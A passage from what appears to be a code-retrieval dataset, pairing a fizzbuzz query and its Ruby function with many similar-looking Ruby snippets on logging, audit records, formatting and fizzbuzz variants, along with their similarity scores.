params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def format(input)\n input\n end", "def request(event)\n log_action_summary(event)\n log_request_details(event)\n log_response_details(event)\n end", "def log_http_call(payload); end", "def log_http_call(payload); end", "def format_url(request)\n \"#{@api_prefix}#{request}\"\n end", "def format_body_for_log_output(obj)\n #obj.body.inspect\n output = ''\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n output << \"\\n\"\n output << JSON.pretty_generate(JSON.parse(obj.body))\n return output\n else\n return obj.body\n end\n else\n return obj.body.inspect\n end\n end", "def format_content(type, args, content)\n Formatter.new(content).apply(type, args)\n end", "def get_audit_label\n self.mail\n end", "def _format_method\n return @_format_method if @_format_method\n\n arguments_type = ::Hash\n @_has_parameters = false\n\n # RANT RANT RANT:\n # THIS CODE DOES NOT WORK.\n # there is a bug in the Ruby parser in some cases.\n # In this object:\n # instance_eval(\"t :foo\")\n # cannot parse :foo\n # However it works fine in irb and ruby -e.\n #\n # kurt@cashnetusa.com 2009/01/08\n=begin\n # Handle early subsititions.\n @_template = @template.gsub(/\\<\\{\\{(.*?)\\}\\}\\>/) do | m |\n expr = $1\n # expr = \"(#{expr}).to_s\"\n expr = \"\\n#{expr}\\n\"\n expr = \"begin#{expr}end\"\n #expr = \";nil; (#{expr});\"\n # expr = \"lambda { || #{expr}; }.call\"\n $stderr.puts \"expr = #{expr}\"\n #Contenter::Api::Selector.with(@_selector) do\n result = instance_eval(expr).to_s\n #end\n # $stderr.puts \"result = #{result.inspect}\"\n result\n end\n=end\n @_template ||= @template\n @_template = @template if @_template == @template\n @_template.freeze\n\n parameter_offset = -1\n p = @_template\n t = \"'\"\n until p.empty?\n case\n # Escape string delimiters.\n when m = /\\A([\\\\'])/.match(p)\n t << '\\\\' + m[1]\n\n # Parameter subsititutions.\n when m = /\\A(\\{\\{\\{(.*?)\\}\\}\\})/.match(p)\n t << '\\' << (' << m[2] << ').to_s << \\''\n @_has_parameters = true\n\n # \"early\" subsititutions.\n # SEE RANT ABOVE.\n when m = /\\A(\\<\\{\\{(.*?)\\}\\}\\>)/.match(p)\n t << '\\' << (' << m[2] << ').to_s << \\''\n @_has_parameters = true\n\n else\n t << p[0 .. 0]\n p = p[1 .. -1]\n \n end\n \n p = m.post_match if m\n end\n t << \"'\"\n\n # STDERR.puts \"template #{template.inspect} => #{t.inspect}\"\n\n # Decide on arguments defaults depending on the template substitutions.\n @arguments_default = \n case arguments_type\n when ::Array\n EMPTY_ARRAY\n when ::Hash\n EMPTY_HASH\n else\n EMPTY_HASH\n end\n @arguments = @arguments_default\n\n # $stderr.puts \"arguments = #{@arguments.inspect}\"\n # $stderr.puts \"arguments_default = #{@arguments_default.inspect}\"\n \n # Define a __format singleton method.\n # TODO: Not thread-safe.\n if @_has_parameters\n t = <<-\"END\"\n def self.__format(args)\n arguments_save = @arguments\n @arguments = args || @arguments_default\n #{t}\n ensure\n @arguments = arguments_save\n end\nEND\n else\n t = <<-\"END\"\n def self.__format(args)\n @_template\n end\nEND\n end\n\n # $stderr.puts \"@_format =\\n#{t}\"\n\n @_format_method = t.freeze\n\n rescue Exception => err\n new_err = err.class.new(\"#{err} in #{self.inspect}:\\n #{err.backtrace * \"\\n \"}\")\n raise new_err\n end", "def audit(data)\n stream << data.to_s.chomp + \"\\n\"\n stream.flush\n end", "def format_response(payload); end", "def format_response(payload); end", "def format_body_for_log_output(obj)\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n _body = obj.body\n output = JSON.pretty_generate(JSON.parse(_body)) rescue _body\n return output\n else\n return obj.body\n end\n elsif obj.content_type == 'application/xml'\n return obj.body\n else\n return obj.body.inspect\n end\n end", "def format(tag, time, record)\n @formatter.format(tag, time, record)\n end", "def method_missing(method, *args)\n \"#{method.to_s} not a valid formatter!\"\n end", "def format_message\n return @format_message if @format_message\n\n @format_message = self.message.dup\n\n if self.line\n @format_message << \" near line #{self.line}\"\n end\n\n if self.code\n @format_message << \": #{format_code}\"\n end\n\n @format_message\n end", "def started_request_message(request, start_time = Time.now)\n 'Started %s \"%s\" for %s at %s' % [\n request.request_method,\n request.filtered_path,\n request.ip,\n start_time.to_default_s ]\n end", "def audit_log(action, optional_params = {})\n description = params.slice(:record_id, :section, :id).merge(optional_params).map { |key, value| \"#{key}:#{value}\"}.join('|')\n requester = current_user.try(:email) || 'NONE'\n AuditLog.create(event: action, description: description, requester_info: requester)\n description\n end", "def format_message(severity, timestamp, progname, msg)\n # remove the function name from the caller location\n location = caller(3).first.gsub(/:in `.*'$/, \"\")\n \"#{timestamp.strftime(datetime_format)} #{severity} #{Socket.gethostname}(#{Process.pid}) #{progname} #{location} #{msg}\\n\"\n end", "def call(severity, timestamp, progname, msg)\n \"#{format(msg)}#{Lumberjack::LINE_SEPARATOR}\"\n end", "def formatted format\n {:status => status, :error => exception.message}.send to_format(format)\n end", "def formatted_response\n self.response\n end", "def format_body_for_log_output(obj)\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n _body = obj.body\n output = JSON.pretty_generate(JSON.parse(_body)) rescue _body\n return output\n else\n return obj.body\n end\n elsif obj.content_type == 'application/xml'\n return obj.body\n else\n return obj.body.inspect\n end\n end", "def get_audit_label\n self.action_user.name\n end", "def append_info_to_payload(payload)\n super\n request_logging_context_data.each do |key, value|\n payload[key] = BlackSquareLoggingRails.format_value(value)\n end\n\n # Add request parameters to lograge output when the logger is in DEBUG mode\n if BlackSquareLoggingRails.enable_request_parameter_logging\n parameters = request.filtered_parameters.except(*ActionController::LogSubscriber::INTERNAL_PARAMS)\n payload[:request_params] = BlackSquareLoggingRails.format_value(parameters) if parameters.any?\n end\n end", "def formats; end" ]
[ "0.5900999", "0.5893942", "0.5893942", "0.58552265", "0.5797278", "0.57363343", "0.5613109", "0.5613109", "0.560822", "0.5553612", "0.5510399", "0.5501452", "0.54906946", "0.54812396", "0.5450201", "0.54351956", "0.54351956", "0.54080254", "0.53963983", "0.53963983", "0.53963983", "0.5332005", "0.53201216", "0.5266865", "0.5261029", "0.5261029", "0.5261029", "0.5261029", "0.5261029", "0.5261029", "0.5261029", "0.5261029", "0.525748", "0.5250642", "0.52478546", "0.5243026", "0.5242924", "0.5242344", "0.52200884", "0.51996857", "0.5185452", "0.5185452", "0.5185452", "0.5182055", "0.51754814", "0.5169694", "0.51691", "0.51562935", "0.5155793", "0.51383275", "0.5137562", "0.51281554", "0.5126108", "0.51180315", "0.51111466", "0.5108015", "0.51053214", "0.5103616", "0.5096649", "0.5094091", "0.5090583", "0.5083417", "0.5076208", "0.50743073", "0.50649285", "0.5061896", "0.50614506", "0.5055521", "0.5046349", "0.50369763", "0.5032801", "0.5027904", "0.5019233", "0.5019233", "0.50130004", "0.500223", "0.49861544", "0.49861544", "0.4934128", "0.4934016", "0.49263173", "0.49155894", "0.4912193", "0.49079856", "0.49047458", "0.49047458", "0.49043232", "0.48926473", "0.48880666", "0.4885987", "0.48828936", "0.48777574", "0.48719034", "0.48601755", "0.48586786", "0.48561186", "0.4853555", "0.48532414", "0.48440444", "0.48410824" ]
0.6902804
0
No need to modify this code! Use this to implement the fizzbuzz_printer method.
def fizzbuzz(num) if num % 3 == 0 && num % 5 == 0 "FizzBuzz" elsif num % 3 == 0 "Fizz" elsif num % 5 == 0 "Buzz" else num end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def print_fizzbuzz_sequence(start_num, end_num)\n line_index = 0 #Initialize line position\n line_threshold = 50 #Local constant controls length of print line\n is_ascending = start_num < end_num #Are we counting up or down?\n\n counter = start_num\n loop do\n # !! {\n line_index += prindex('Fizz') if counter % 3 == 0\n if counter % 5 == 0\n line_index += prindex('Buzz')\n elsif counter % 3 != 0\n line_index += prindex(counter.to_s) end\n # }\n\n break if counter == end_num\n\n line_index += prindex(', ')\n if line_index > line_threshold\n puts\n line_index = 0 end\n counter += is_ascending ? (1) : (-1)\n end #do-loop\n puts\n puts\nend", "def fizz_buzz \n\ti=1\n\t while i < 100 do\n\t \tif i%3 == 0 && i%5 == 0\n\t \t\tprint \"FizzBuzz\\n\"\n\t \telsif i%3 == 0\n\t \tprint \"fizz\\n\"\n\t \telsif i%5 == 0\n\t \t\tprint \"Buzz\\n\"\n\t \telse\n\t \tprint \"#{i}\\n\"\n\t \tend\n\t\ti += 1\n\t end\nend", "def Fizz2\r\n\t\t(1..100).each do |x|\r\n\t\t\tstr = [(\"Fizz\" if x % 3 == 0),(\"Buzz\" if x % 5 == 0)].compact.join\r\n\t\t\tif str == \"\" then str << x.to_s end\r\n\t\t\tputs str\t\t\r\n\t\tend\r\n\tend", "def fizzbuzz\n\ti = 1\n\twhile i < 101\n\t\tif i % 15 == 0\n\t\t\tputs \"fizzbuzz\"\n\t\telsif i % 5 == 0\n\t\t\tputs \"buzz\"\n\t\telsif i % 3 == 0\n\t\t\tputs \"fizz\"\n\t\telse\n\t\t\tputs \"#{i}\"\n\t\tend\n\t\ti = i + 1\n\tend\nend", "def fizzbuzz\n\t(1..100).each do |num|\n\t if num % 3 == 0 && num % 5 == 0\n\t\tputs \"Fizzbuzz\"\n\t elsif num % 3 == 0\n\t\tputs \"Fizz\"\n\t elsif num % 5 == 0 \n\t\tputs \"Buzz\"\n\t else\n\t\tputs num\n\t end\n\tend\nend", "def fizz_buzz_to(limit)\n#in increments of one, you do something every time num shows up\n 1.upto(limit).each do |num|\n #the something that is done is the string from fizzbuzz shows\n puts fizzbuzz(num)\n end\nend", "def fizzbuzz(current, last)\n loop do\n if current % 3 == 0 && current % 5 == 0\n print 'FizzBuzz'\n elsif current % 3 == 0\n print 'Fizz'\n elsif current % 5 == 0\n print 'Buzz'\n else\n print current\n end\n\n current += 1\n break if current > last\n print ', '\n end\nend", "def fizzbuzz\n (1..100).each do |num|\n puts fizz_buzz(num)\n end\nend", "def fizz_buzz_to(limit)\n# This defines the variable \"fizz_buzz-to\" and explains in parenthesis what parameters can be passed into it.\n# In this case, there is only one parameter: limit.\n 1.upto(limit).each do |num|\n#Here we are using a loop to say that from integers 1 up to whatever number is placed in the parameter limit, do the following.\n puts fizzbuzz(num)\n#So for integers from 1 up until the established limit, run that number through the fizzbuzz variable and print the result (which, based on our case options, will be \"FizzBuzz\", \"Fizz\", \"Buzz\" or the number itself.)\n end\n #This ends the steps within the loop.\nend", "def fizzbuzz(maxNumber)\n\n\tfor count in 1..maxNumber\n\t\tif count % 15 == 0 then\n\t\t\tprint \"fizzbuzz\"\n\t\telsif count % 3 == 0 then\n\t\t\tprint \"fizz\"\n\t\telsif count % 5 == 0 then\n\t\t\tprint \"buzz\"\n\t\telse\n\t\t\tprint count\n\t\tend\n\t\tprint \"\\n\"\n\tend\nend", "def fizzbuzz(max_val)\n\tcurrent_number = 1\n\twhile current_number <= max_val\n\n\t\tif current_number % 3 == 0\n\t\t\tputs \"fizz\"\n\t\tend\n\t\tif current_number % 5 == 0\n\t\t\tputs \"buzz\"\n\t\tend\n\t\tif current_number % 3 != 0 && current_number % 5 != 0\n\t\t\tputs current_number\n\t\tend\n\t\tcurrent_number += 1\n\tend\nend", "def fizzbuzz\n\t1.upto(100) do |i|\n\t\tprint \"Fizz \" if a = (i % 3).zero?\n\t\tprint \"Buzz \" if b = (i % 5).zero?\n\t\tprint \"FizzBuzz \" if c = (i % 15).zero?\n\t\tprint i.to_s + \" \" unless (a || b || c)\n\tend\nend", "def fizz_buzz_to(limit)\n#starting from the number 1 up to the variable limit, do something to each integer\n 1.upto(limit).each do |num|\n#print the output of the fizzbuzz method \n puts fizzbuzz(num)\n end\nend", "def fizz_buzz(amount)\n\t\n\t(1..amount).each do |i|\n\t\tfizzy = \"\"\n\n\t\tfizzy << \"fizz\" if i % 3 == 0\n\n\t\tfizzy << \"buzz\" if i % 5 == 0\n\t\n\t\tif fizzy == \"\"\n\t\t\tputs i\n\t\telse\n\t\t\tputs fizzy\n\t\tend\n\tend\nend", "def fizzbuzz(n) n%15==0 ? \"FizzBuzz\" : n%3==0 ? \"Fizz\" : n%5==0 ? \"Buzz\" : nil end", "def fizzbuzz(num)\n\tif num % 15 == 0\n\t\"FizzBuzz\"\n\telsif num % 3 == 0\n\t\"Fizz\"\n\telsif num % 5 == 0\n\t\"Buzz\"\n\t\n\telse num % 15 != 0\n\tputs\n\nend\nend", "def FizzBuzz\n\t\n1.upto(100) {|i| \n\tputs \"Fizz\" if i%3 == 0 && i%5 != 0\n\tputs \"Buzz\" if i%3 != 0 && i%5 == 0\n\tputs \"FizzBuzz\" if i%3 == 0 && i%5 == 0\n\tputs i if i%3 != 0 && i%5 != 0\n}\t\n\nend", "def fizzbuzz(num)\n if(num%15==0)\n return \"fizzbuzz\"\n end\n if(num%3==0)\n return \"fizz\"\n end\n if (num%5==0)\n return \"buzz\"\n end\n return num.to_s\nend", "def fizz_buzz num\n puts \"FizzBuzz\" if num % 15 == 0\n puts \"Fizz\" if num % 3 == 0\n puts \"Buzz\" if num % 5 == 0\n puts num\nend", "def fizzbuzz(num)\n if num%3 == 0\n print \"Fizz\"\n elsif num%5 == 0\n print \"Buzz\"\n else\n puts num\nend", "def fizzbuzz(array)\n\tfor num in array\n\t\tif num % 15 == 0\n\t\t\tputs \"fizzbuzz\"\n\t\telsif num % 3 == 0\n\t\t\tputs \"fizz\"\n\t\telsif num % 5 == 0\n\t\t\tputs \"buzz\"\n\t\telse \n\t\t\tputs num.to_s\n\t\tend\n\tend\nend", "def fizzbuzz(start_num, end_num)\n for curr_num in (start_num..end_num)\n if curr_num % 15 == 0\n print \"FizzBuzz\"\n elsif curr_num % 5 == 0\n print \"Buzz\"\n elsif curr_num % 3 == 0\n print \"Fizz\"\n else\n print curr_num\n end\n print \", \" if curr_num < end_num\n end\n puts \"\"\nend", "def fizzbuzz(start, finish)\n (start..finish).each do |n|\n output = ''\n output << 'Fizz' if (n % 3).zero?\n output << 'Buzz' if (n % 5).zero?\n puts output == '' ? n : output\n end\nend", "def fizzbuzz\n\ty = (1..100)\n\ty.each { |x|\n\t\tif x % 3 == 0 && x % 5 == 0\n\t\t\tputs \"fizzbuzz\"\n\t\telsif x % 3 == 0\n\t\t\tputs \"fizz\"\n\t\telsif x % 5 == 0\n\t\t\tputs \"buzz\"\n\t\telse\n\t\t\tputs x\n\t\tend\n\t}\nend", "def fizzbuzz(start_num, end_num)\n start_num.upto(end_num) do |num|\n if num % 15 == 0\n print \"FizzBuzz \"\n elsif num % 5 == 0\n print \"Buzz \"\n elsif num % 3 == 0\n print \"Fizz \"\n else\n print \"#{num.to_i} \"\n end\n end\nend", "def fizzbuzz(number)\n\t\tif number % 15 == 0\n\t\t\t\"fizzbuzz\"\n\t\telsif number % 3 == 0 \n\t\t\t\"fizz\"\n\t\telsif number % 5 == 0\n\t\t\t\"buzz\"\n\t\telse\n\t\t\tnumber\n\t\tend\nend", "def display_each(numbers)\n numbers.each do |number|\n output.puts fizz_buzzer.fizz_or_buzz(number)\n end\n end", "def fizzbuzz_to(limit)\n\t# Upto is being called to the 1. You pick a variable and it will print all the number up to that 'limit'. \n 1.upto(limit) do |i|\n \t# This Prints out the code on terminal. \n puts(fizzbuzz(i))\n end\nend", "def fizz_buzz_to(limit)\n 1.upto(limit).each do |num|\n puts fizzbuzz(num)\n end\n end", "def fizzbuzz\narray = []\n\tfor i in 1..100\n\t\tif i%3 == 0 && i%5 == 0\n\t\t\tarray << 'FizzBuzz'\n\t\telsif i%3 == 0\n\t\t\tarray << 'Fizz'\n\t\telsif i%5 == 0 \n\t\t\tarray << 'Buzz'\n\t\telse\n\t\t\tarray << i\n \t\t\ti+= 1\n\t\tend\n\tend\n\t\t\treturn array\nend", "def fizz_buzz_to(limit)\n 1.upto(limit).each do |num|\n puts fizzbuzz(num)\n end\nend", "def fizzbuzz(num)\n i = 1\n while i < num\n \n if i % 3 == 0 && i % 5 == 0\n p \"Fizzbuzz! nums is #{i}\"\n elsif i % 3 == 0\n p \"Fizz! num is #{i}\"\n elsif i % 5 == 0\n p \"Buzz! num is #{i}\"\n end\n i+= 1\n end\n\nend", "def fizzbuzz\n\t 1.upto(100) do |i|\n\tif i % 5 == 0 and i % 3 == 0\n\t puts \"FizzBuzz\"\n\telsif i % 5 == 0\n\t puts \"Buzz\"\n\telsif i % 3 == 0\n\t puts \"Fizz\"\n\telse\n\t puts i\n\tend\n\tend\nend", "def fizz_buzz num \n counter = 1\n until counter > num \n if (counter % 3) == 0 && (counter % 5) == 0 \n puts \"FizzBuzz #{counter}\"\n elsif (counter % 3) == 0 \n puts \"Fizz #{counter}\"\n elsif (counter % 5) == 0\n puts \"Buzz #{counter}\"\n end\n counter += 1\n end\nend", "def simple_fizzy(start_num, end_num)\n (start_num..end_num).each do |number|\n puts \"Fizz: \" + number.to_s if fizzbuzz(number) == \"Fizz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"Buzz: \" + number.to_s if fizzbuzz(number) == \"Buzz\"\n if number == end_num\n (start_num..end_num).each do |number|\n puts \"FizzBuzz: \" + number.to_s if fizzbuzz(number) == \"FizzBuzz\"\n end\n end\n end\n end\n end\nend", "def fizzbuzz(entry)\n response = nil\n if entry % 3 == 0\n response = response.to_s + 'Fizz'\n end\n if entry % 5 == 0\n response = response.to_s + 'Buzz'\n end\n print response\n return response\nend", "def fizzbuzz\n\n\tfor i in (1..100) do\n\t\tif i % 3 == 0 and i % 5 == 0\n\t\t\tputs 'FizzBuzz'\n\t\telsif i % 5 == 0\n\t\t\tputs 'Buzz'\n\t\telsif i % 3 == 0\n\t\t\tputs 'Fizz'\n\t\telse puts i\n\n\t\tend\n\tend\n\nend", "def fizzbuzz\n\tnum_arr = Array.new(100) {|index| index+1}\n\tarr = Array.new(100) {''}\n\tnum_arr.each do |i|\n\n\t \tif i%3 == 0\n\t \t\tif i%5 == 0\n\t \t\t\tarr[i-1] = 'FizzBuzz'\n\t \t\telse\n\t \t\t\tarr[i-1] = 'Fizz'\n\t \t\tend\n\t \telsif i%5 == 0\n\t \t\tarr[i-1] = 'Buzz'\n\t \telse\n\t \t\tarr[i-1] = i.to_s\n\t \tend\n\t end\n \tarr\nend", "def fizzbuzz(n)\n numbers = []\n (1..n).each do |num|\n if num % 3 == 0\n value = (num % 5 == 0) ? \"fizzbuzz\" : \"fizz\"\n numbers << value\n elsif num % 5 == 0\n numbers << \"buzz\"\n else\n numbers << num\n end\n end\n numbers\nend", "def fizz_buzz6\n (\"%2d,%s\" % [self, to_s(15)]).sub(/.+?((0|([5a]))|[369c])$/) {\n \"#{$3 ? '' : 'Fizz'}#{$2 ? 'Buzz' : ''}\" }.sub(/^\\s?(\\d+),.*$/,'\\1')\n end", "def fizzbuzz(num_1, num_2, range)\n#Iterate the process begining at the value \"1\" up to the range argument's value.\n#A new variable i is established, i starts as \"1\" and goes up by 1 up until the range value is hit.\n (1..range).each do |i|\n#Establish a conditional: If i's value can be divided by num1's value with a remainder\n#of 0 AND i's value can also be divided by num2's value with a remainder of 0, print the string 'fizzbuzz' to the terminal\n if i % num_1 === 0 && i % num_2 === 0\n puts 'fizzbuzz'\n#If both prongs of the above conditional are not met, but i's value can be divided by num1's value with a remainder 0 then...\n elsif i % num_1 === 0\n#...print the string 'fizz' to the terminal\n puts 'fizz'\n#If neither of the two previous conditionals are met, but i's value can be divided by num2's value with a remainder 0 then...\n elsif i % num_2 === 0\n#...print the string 'fizz' to the terminal\n puts 'buzz'\n#If none of those conditionals were satisfied then...\n else\n#...print the value of i to the terminal\n puts i\n#end the conditional\n end\n#end the iteration\n end\n#end the method\nend", "def fizz_buzz_to(limit)\n# in increments of 1, \"do\" something each time you see \"num\"\n 1.upto(limit).each do |num|\n# print each incremental number on each loop until (value passed to limit) is reached\n puts fizzbuzz(num)\n# end upto method\n end\n# end fizz_buzz_to\nend", "def fizzbuzz(starting, ending)\n (starting..ending).each do |num|\n if (num % 15).zero?\n p \"FizzBuzz\"\n elsif (num % 3).zero?\n p \"Fizz\"\n elsif (num % 5).zero?\n p \"Buzz\"\n else\n p num\n end\n end\nend", "def fizzbuzz(max_val)\n\tcounter = 1\n\twhile (counter <=max_val)\n\t\t\n\t\tif (counter %3 ==0)\n\t\t\tputs \"fizz\"\n\t\tend \n\n\t\tif (counter %5 ==0)\n\t\t\tputs \"buzz\"\n\t\tend\n\t\tif (counter %5 !=0 && counter %3 !=0)\n\t\t\tputs counter \n\t\tend\n\n\t\t# else \n\t\t# \tputs counter \n\t\t# end\n\t\tcounter +=1\n\tend\n\nend", "def fizzbuzz(n)\n myary = []\n myn = 1\n (0...n).each do\n if myn % 15 == 0\n myary << \"FizzBuzz\"\n myn += 1\n elsif myn % 5 == 0\n myary << \"Buzz\"\n myn += 1\n elsif myn % 3 == 0\n myary << \"Fizz\"\n myn += 1\n else\n myary << myn\n myn += 1\n end\n end\n myary\nend", "def super_fizzbuzz(array)\n\t# this iterator will keep track of the location of the current element\n\ti = 0 \n\n\t# go through each item in the array\n\tarray.each do |x| \n\t\t# see if it is divisible by 3 \t\t\n\t\tif (x % 3 == 0)\n\t\t\t# see if it is divisible by 15\n\t\t\tif (x % 15 == 0)\n\t\t\t\tarray[i] = \"FizzBuzz\"\n\t\t\telse\n\t\t\t\tarray[i] = \"Fizz\"\n\t\t\tend\n\t\t# if no divisible by 3, see if \n\t\t# divisible by 5\n\t\telsif (x % 5 == 0)\n\t\t\tarray[i] = \"Buzz\" \t\t\n\t\tend\n\n\t\ti +=1\n\tend \nend", "def fizzbuzz(starting, ending)\n result = []\n (starting..ending).each do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"FizzBuzz\"\n elsif num % 3 == 0\n result << \"Fizz\"\n elsif num % 5 == 0\n result << \"Buzz\"\n else\n result << num\n end\n end\n puts result.join(\", \")\nend", "def fizz_buzz_to(limit)\n #from 1 to the limit number, for each number, take the number \n 1.upto(limit).each do |num|\n #print out result of calling fizzbuzz with the number.\n puts fizzbuzz(num)\n #ends the each do \n end\n#ends the function definition. \nend", "def fizz_buzz(input_num)\n\tmod3 = input_num % 3 == 0\n\tmod5 = input_num % 5 == 0\n\t\n\tif mod3 and mod5\n\t\t'fizzbuzz'\n\telsif mod3\n\t\t'fizz'\n\telsif mod5\n\t\t'buzz'\n\telse\n\t\tinput_num.to_s\n\tend\nend", "def fizzbuzz(num)\n if num%3==0\n fb=\"Fizz\"\n end\n if num%5==0\n if fb == nil\n fb =\"\"\n end\n fb=fb+\"Buzz\"\n end\n fb\nend", "def fizz_buzz number\n if number % 15 == 0\n \"FizzBuzz\"\n elsif number % 5 == 0\n \"Buzz\"\n elsif number%3 == 0\n \"Fizz\"\n else\n number\n end\nend", "def fizzbuzz(number)\n (1..number).each do |num|\n if (num % 15).zero?\n puts 'FizzBuzz'\n elsif (num % 3).zero?\n puts 'Fizz'\n elsif (num % 5).zero?\n puts 'Buzz'\n else\n puts num\n end\n end\nend", "def run\n (-100..100).each do |number|\n fizz = @fizz_buzz.fizz?(number)\n buzz = @fizz_buzz.buzz?(number)\n if fizz && buzz then puts \"fizzBuzz (#{number})\"\n elsif fizz then puts \"fizz (#{number})\"\n elsif buzz then puts \"buzz (#{number})\"\n else puts number\n end\n end\n end", "def fizzbuzz(value)\n result = nil\n if (value % 3 == 0 && value % 5 == 0 )\n result = \"FizzBuzz\"\n elsif (value % 3 == 0)\n result = \"Fizz\"\n elsif (value % 5 == 0 )\n result = \"Buzz\"\n end\n result\n end", "def fizzbuzz_to(limit)\n #Create a loop that starts from 1 and ends at the argument given\n 1.upto(limit) do |i|\n #Print the output of every iteration of the method 'fizzbuzz' when called with the argument of the integers 1 through the limit given\n puts(fizzbuzz(i))\n end\nend", "def fizzbuzz(start, last)\n result = []\n start.upto(last) do |number|\n result << fizzbuzz_value(number)\n end\n puts result.join(', ')\nend", "def fizz_buzz (i)\n 1.upto 100 do |i|\n if i % 5 == 0 && i % 3 == 0 \n puts \"FizzBuzz\"\n elsif i % 5 == 0\n puts \"Buzz\" \n elsif\n puts i % 3 == 0\n else \"Fizz\"\n puts i\n end\nend\nend", "def fizzbuzz\n # TODO write your code here\n fbArray = Array.new\n i = 1\n #fbArray[0] = 0\n while i <= 100 do\n if i % 15 == 0\n fbArray[i] = \"FizzBuzz\"\n elsif i % 3 == 0\n fbArray[i] = \"Fizz\"\n elsif i % 5 == 0\n fbArray[i] = \"Buzz\"\n else\n fbArray[i] = i\n end\n i += 1\n end\n fizzbuzz = fbArray\nend", "def main\n fizzbuzz = []\n for i in 1..100\n h = {}\n h[:n] = i\n h[:f] = \"Fizz\" if i % 3 == 0\n h[:b] = \"Buzz\" if i % 5 == 0\n fizzbuzz << h\n end\n fizzbuzz.each do |fb|\n if fb[:f] or fb[:b] then\n puts \"#{fb[:f]}#{fb[:b]}\"\n else\n puts fb[:n]\n end\n end\nend", "def reprint(number)\n\t(1..100).each do |i|\n\t\tif i % 3 == 0 and i % 5 == 0\n\t\t\tputs 'FizzBuzz'\n\t\telsif i % 5 == 0\n\t\t\tputs 'Buzz'\n\t\telsif i % 3 == 0 \n\t\t\tputs 'Fizz'\t\t\n\t\telse\n\t\t\tputs i\t\t\n\t\tend\n\tend\nend", "def fizzbuzz(num_1, num_2)\n for num in num_1..num_2\n output = \"\"\n output += \"Fizz\" if (num % 3) == 0\n output += \"Buzz\" if (num % 5) == 0\n output += num.to_s if !(num % 3 == 0) && !(num % 5 == 0)\n print output + \", \"\n end\nend", "def fizzbuzz(n)\n if n == 100\n false\n else\n if n % 3 == 0 && n % 5 == 0\n puts \"FizzBuzz\"\n elsif n % 3 == 0\n puts \"Fizz\"\n elsif n % 5 == 0\n puts \"Buzz\"\n else\n puts n\n end\n fizzbuzz(n += 1)\n end\nend", "def fizzbuzz(i)\n\n output = \"\"\n\n if(i % 3 == 0)\n output = output + \"Fizz\"\n end\n\n if(i % 5 == 0)\n output = output + \"Buzz\"\n end\n\n return output == \"\" ? nil : output\nend", "def super_fizzbuzz(array)\ni=0\nwhile i < array.length\n if array[i]%5==0 && array[i]%3==0\n array[i]= 'FizzBuzz'\n elsif array[i]%3==0\n array[i]= 'Fizz'\n elsif array[i]%5==0\n array[i]= 'Buzz'\n end\ni+=1\nend\np array\nend", "def fizzbuzz(int)\n\tif int % 3 == 0 && int % 5 == 0\n\t\t\"FizzBuzz\"\n\telsif int % 5 == 0\n\t\t\"Buzz\"\n\telsif int % 3 == 0\n\t\t\"Fizz\"\n\telse\n\t\tnil\n\tend\n\nend", "def fizzbuzz(n)\n result = []\n (1..n).each do |num|\n if num % 3 == 0 && num % 5 == 0\n result << \"fizzbuzz\"\n elsif num % 3 == 0\n result << \"fizz\"\n elsif num % 5 == 0\n result << \"buzz\"\n else\n result << num\n end\n end\n result\nend", "def fizz_buzz number\n if number%3 == 0 && number%5 == 0\n return \"FizzBuzz\"\n elsif number%3 == 0\n return \"Fizz\"\n elsif number%5 == 0\n return \"Buzz\"\n else\n return number\n end\nend", "def fizz_buzz number\nend", "def fizz_buzz number\nend", "def fizz_buzz\n x=1\n until x > 100 do\n if x%3 == 0 && x%5 !=0\n puts \"Fizz\"\n elsif x%5==0 && x%3 !=0\n puts \"Buzz\"\n elsif x%3 ==0 && x%5==0\n puts \"FizzBuzz\"\n else\n puts x\n end\n x+=1\n end\nend", "def fizzbuzz(num)\n if num % 15 == 0 \n fizz_15=\"FizzBuzz\"\n elsif num % 3 == 0\n fizz_3=\"Fizz\"\n elsif num % 5 == 0 \n fizz_5= \"Buzz\"\n else puts \"nil\"\n end \nend", "def fizzbuzz(start_num, end_num)\n word = ''\n\n start_num.upto(end_num) do |i|\n word += \"Fizz\" if i % 3 == 0\n word += \"Buzz\" if i % 5 == 0\n word = i.to_s if word.length == 0\n word += ', ' unless i == end_num\n print word\n word = ''\n end\n\n puts ''\nend", "def fizz_buzz(number)\n if number % 3 == 0 && number % 5 == 0\n 'Fizz Buzz'\n elsif number % 3 == 0\n 'Fizz'\n elsif number % 5 == 0\n 'Buzz'\n else\n number.to_s\n end\nend", "def fizzbuzz(n)\n out = \"\"\n if n % 3 == 0\n out += \"fizz\"\n end\n if n % 5 == 0\n out += \"buzz\"\n end\n out\nend", "def fizzbuzz(n)\n\t(1..n).map do |n|\n\t\tif n % 15 == 0\n\t\t\t\"fizzbuzz\"\n\t\telsif n % 3 == 0\n\t\t\t\"fizz\"\n\t\telsif n % 5 == 0\n\t\t\t\"buzz\"\n\t\telse\n\t\t\tn\n\t\tend\n\tend\nend", "def fizz_buzz()\n for i in 1..100\n if i % 3 == 0 && i % 5 == 0\n puts 'FizzBuzz'\n elsif i % 3 == 0\n puts 'Fizz'\n elsif i % 5 == 0\n puts 'Buzz'\n else\n puts i\n end\n end\nend", "def super_fizzbuzz(array)\n buzz_array = []\n array.each do |x|\n if x % 3 == 0 && x % 5 != 0\n buzz_array.push(\"Fizz\")\n elsif x % 3 != 0 && x % 5 == 0\n buzz_array.push(\"Buzz\")\n elsif x % 3 == 0 && x % 5 == 